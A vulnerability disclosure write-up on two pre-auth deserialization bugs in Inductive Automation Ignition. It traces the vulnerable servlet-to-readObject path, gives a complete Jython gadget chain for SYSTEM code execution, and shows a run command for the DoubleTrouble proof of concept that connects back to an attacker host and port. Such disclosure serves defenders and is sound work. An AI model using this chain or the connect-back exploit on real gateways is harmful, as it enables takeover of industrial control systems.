DoubleTrouble: Pre-Auth RCE in Inductive Automation Ignition via Deserialization
Rocco Calvi
This post details the exploitation of two critical deserialization vulnerabilities in Inductive Automation’s Ignition software — CVE-2023-39475 and CVE-2023-39476. Both vulnerabilities carry a CVSS score of 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) and enable unauthenticated remote code execution against affected installations.
The proof-of-concept exploit, DoubleTrouble, is available on GitHub.
Background
These vulnerabilities were discovered during preparation for Pwn2Own Miami 2023. Unfortunately, the competition rules were changed on January 4th, rendering our submission invalid before the event took place.
The affected versions of Ignition are 8.1.22, 8.1.23, and 8.1.24.
Vulnerability Summary
Both flaws reside in the JavaSerializationCodec and ParameterVersionJavaSerializationCodec classes within Ignition’s metro framework. Each class implements a decode method that deserializes untrusted input without any validation, allowing an attacker to supply a crafted object stream and gain code execution with NT AUTHORITY\SYSTEM privileges.
Exploitation requires the target’s Gateway Network to be configured — a common deployment pattern. Notably, this is the same attack surface that was targeted in Pwn2Own Miami 2020 (ZDI-20-687).
SSL Considerations
SSL must be disabled in the network gateway unless HTTPS is enabled on the server. If HTTPS is active, the exploit’s SSL flag can be set to true to operate over an encrypted channel.

Tracing the Attack Surface
The entry point is DataChannelServlet.doPost(), which reads raw protocol data from an incoming HTTP request:
protected void doPost(HttpServletRequest req, HttpServletResponse resp)
throws ServletException, IOException {
InputStream inputStream = req.getInputStream();
OutputStream outputStream = resp.getOutputStream();
ProtocolHeader header = null;
try {
header = ProtocolHeader.decode(inputStream);
} catch (LocalException e) {
getLogger().error("onDataReceived",
"Could not process protocol header from incoming data channel message", e);
}
if (header != null) {
String connectionId = header.getSenderId();
Optional<WebSocketConnection> optConnection =
getFactory().getIncomingBySystemName(connectionId);
if (optConnection.isPresent()) {
((WebSocketConnection)optConnection.get())
.onDataReceived(header, inputStream, outputStream); // [1]
}
}
}
At [1], attacker-controlled input reaches WebSocketConnection.onDataReceived, which constructs a TransportMessage and routes it forward:
public void onDataReceived(ProtocolHeader header,
InputStream inputStream, OutputStream outputStream) {
// ...
TransportMessage msg = TransportMessage.createFrom(
new MeterTrackedInputStream(inputStream, this.incomingMeter, true)); // [2]
routeFuture = forward(header.getTargetAddress(), msg); // [3]
}
The forward call delegates to ConnectionWatcher.handle, which parses the message and dispatches based on the intent name:
public CompletableFuture<Void> handle(String targetAddress, TransportMessage data) {
// ...
ServerMessage sm = ServerMessage.createFrom(data); // [4]
if (sm.getIntentName().startsWith("_conn_")) {
handleConnectionMessage(sm); // [5]
}
}
By setting the intent to _conn_svr, the attacker reaches the critical decodePayload call:
protected void handleConnectionMessage(ServerMessage message) throws Exception {
String intentName = message.getIntentName();
if ("_conn_svr".equalsIgnoreCase(intentName)) { // [6]
ServerRouteDetails[] routes =
(ServerRouteDetails[])message.decodePayload(); // [7]
}
}
The Deserialization Sink
decodePayload retrieves a MessageCodec by name and invokes its decode method:
public <T> T decodePayload() throws Exception {
MessageCodec codec = MessageCodecFactory.get().getCodec(getCodecName()); // [8]
return (T)codec.decode(getSourceStream()); // [9]
}
Two codecs are vulnerable:
CVE-2023-39476 — JavaSerializationCodec (id: _js_)
public Object decode(InputStream inputStream) throws Exception {
in = createObjectInputStream(inputStream);
return in.readObject(); // [10] — unprotected deserialization
}
CVE-2023-39475 — ParameterVersionJavaSerializationCodec (id: _js_tps_v3)
public Object decode(InputStream inputStream) throws Exception {
in = createObjectInputStream(inputStream);
return in.readObject(); // [11] — unprotected deserialization
}
At [10] and [11], raw readObject() is called on attacker-controlled data with no filtering, deserialization allowlists, or type checks.
Registering the Second Codec
The ParameterVersionJavaSerializationCodec is not registered by default. To reach it, an attacker must first trigger the registration path through TagProviderService2VersionAdapter:
public Object adaptOutgoingServiceReturn(int targetVersion,
ServiceInvocation invocationData, Object result) throws Exception {
if (targetVersion < 3) {
MessageCodecFactory.get().registerCodec(V3CODEC); // [12]
result = new CodecAdaptation(V3CODEC.getId(), "_js_", result);
}
return result;
}
This is why exploitation of CVE-2023-39475 requires two separate requests — one to register the codec, and a second to trigger deserialization through it.
Building a Gadget Chain
Exploitation requires a viable gadget chain. The standard ysoserial PyFunction gadget is neutralised in Ignition’s bundled Jython library (jython-ia-2.7.2.1.jar) because PyFunction.readResolve() throws unconditionally:
private Object readResolve() {
throw new UnsupportedOperationException();
}
However, org.python.core.PyMethod implements InvocationHandler and has no such restriction:
public class PyMethod extends PyObject implements InvocationHandler, Traverseproc {
public Object invoke(Object proxy, Method method, Object[] args)
throws Throwable {
if (method.getDeclaringClass() == Object.class)
return method.invoke(this, args);
if (args == null || args.length == 0)
return __call__().__tojava__(method.getReturnType());
return __call__(Py.javas2pys(args)).__tojava__(method.getReturnType());
}
}
This opens the door. By constructing a PriorityQueue with a proxy-backed Comparator, we can route execution through PyMethod.invoke into BuiltinFunctions.__call__, which supports eval at case 18:
public PyObject __call__(PyObject arg1, PyObject arg2) {
switch (this.index) {
// ...
case 18:
return __builtin__.eval(arg1, arg2); // arbitrary Python eval
case 19:
__builtin__.execfile(Py.fileSystemDecode(arg1), arg2);
return Py.None;
// ...
}
}
Complete Gadget Chain
ObjectInputStream.readObject
PriorityQueue.readObject
PriorityQueue.heapify
PriorityQueue.siftDownUsingComparator
$Proxy.compare
PyMethod.invoke
PyMethod.__call__
PyMethod.instancemethod___call__
PyObject.__call__
PyBuiltinFunctionNarrow.__call__
BuiltinFunctions.__call__
__builtin__.eval
Py.runCode
This chain achieves arbitrary Python code execution within the Ignition JVM, running as SYSTEM.
Running DoubleTrouble
Build:
mvn clean package -DskipTests
Run:
java -cp target/dt.jar:libs/metro-8.1.22.jar DoubleTrouble <target> <connectback:port> [outgoing ip]
Exploiting CVE-2023-39475 (ParameterVersionJavaSerializationCodec)
Auto-detection of the outgoing server address:

Exploiting CVE-2023-39476 (JavaSerializationCodec)
Specifying the outgoing address directly for internet-routable targets:

References
- ZDI-23-1046 Advisory
- ZDI-23-1047 Advisory
- Inductive Automation Technical Advisory
- DoubleTrouble PoC on GitHub
Credits
Discovered by Rocco Calvi (@TecR0c) and Steven Seeley (@mr_me) of the Incite Team.